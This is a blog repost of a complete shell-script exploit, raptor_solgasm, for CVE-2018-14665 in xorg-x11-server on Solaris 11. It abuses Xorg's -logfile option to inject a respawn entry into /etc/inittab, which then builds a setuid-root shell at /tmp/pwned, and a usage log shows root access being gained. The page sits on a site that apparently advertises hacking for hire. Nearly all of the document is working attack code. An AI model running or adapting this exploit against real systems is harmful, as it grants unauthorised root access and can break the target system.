Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863550024

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/bin/sh

# Exploit Title: xorg-x11-server < 1.20.3 - Local Privilege Escalation (Solaris11 inittab)
# Date: 2018-11-25
# Exploit Author: Marco Ivaldi
# Vendor Homepage: https://www.x.org/
# Version: xorg-x11-server 1.19.0 - 1.20.2
# Tested on: Oracle Solaris 11.4
# CVE : CVE-2018-14665

#
# raptor_solgasm - xorg-x11-server LPE via Solaris inittab
# Copyright (c) 2018 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# A flaw was found in xorg-x11-server before 1.20.3. An incorrect permission 
# check for -modulepath and -logfile options when starting Xorg. X server 
# allows unprivileged users with the ability to log in to the system via 
# physical console to escalate their privileges and run arbitrary code under 
# root privileges (CVE-2018-14665).
#
# "In video games, this is what they call respawning" -- Nick Sax
#
# This exploit targets /etc/inittab in order to escalate privileges to root
# on Solaris 11 (no need to be connected to a physical console). Messing with 
# inittab is considerably dangerous and you may trash your system, however the
# other potential vectors (cron, passwd, sudo, ld.config, etc.) either don't 
# work or are even worse. Still, DON'T RUN UNLESS YOU KNOW WHAT YOU ARE DOING!
#
# See also:
# https://github.com/0xdea/exploits/blob/master/openbsd/raptor_xorgasm
#
# Usage:
# raptor@stalker:~$ chmod +x raptor_solgasm
# raptor@stalker:~$ ./raptor_solgasm
# [...]
# Now please be patient for a few minutes...
# [...]
# To avoid trashing the system, remember to: mv /etc/inittab.old /etc/inittab
# -rw-r--r--   1 root     staff      13870 nov 24 22:01 /etc/inittab
# -rw-r--r--   1 root     sys          967 nov 24 20:01 /etc/inittab.old
# -rwsrwxrwx   1 root     root     1249080 nov 24 22:05 /tmp/pwned
# root@stalker:/etc# id
# uid=0(root) gid=0(root)
#
# Vulnerable platforms (setuid Xorg 1.19.0 - 1.20.2):
# Oracle Solaris 11 X86 [tested on 11.4.0.0.1.15.0 with Xorg 1.19.5]
# Oracle Solaris 11 SPARC [untested]
#

echo "raptor_solgasm - xorg-x11-server LPE via Solaris inittab"
echo "Copyright (c) 2018 Marco Ivaldi <raptor@0xdeadbeef.info>"

# prepare the payload
cat << EOF > /tmp/solgasm
cp /bin/zsh /tmp/pwned # fallback in case gcc is not available
echo "main(){setuid(0);setgid(0);system(\"/bin/bash\");}" > /tmp/pwned.c
gcc /tmp/pwned.c -o /tmp/pwned
chmod 4777 /tmp/pwned
EOF
chmod +x /tmp/solgasm

# trigger the bug
PWN=x$(cat /dev/urandom | env LC_CTYPE=C tr -dc '[:lower:]' | fold -3 | head -1)
cd /etc
Xorg -fp "${PWN}::respawn:/tmp/solgasm" -logfile inittab :1 &
sleep 5
pkill Xorg

# run the setuid shell
echo
echo "Now please be patient for a few minutes..."
echo
until [ -u /tmp/pwned ]; do sleep 1; done
echo "To avoid trashing the system remember to mv /etc/inittab.old /etc/inittab"
ls -l /etc/inittab*
ls -l /tmp/pwned
sleep 1
/tmp/pwned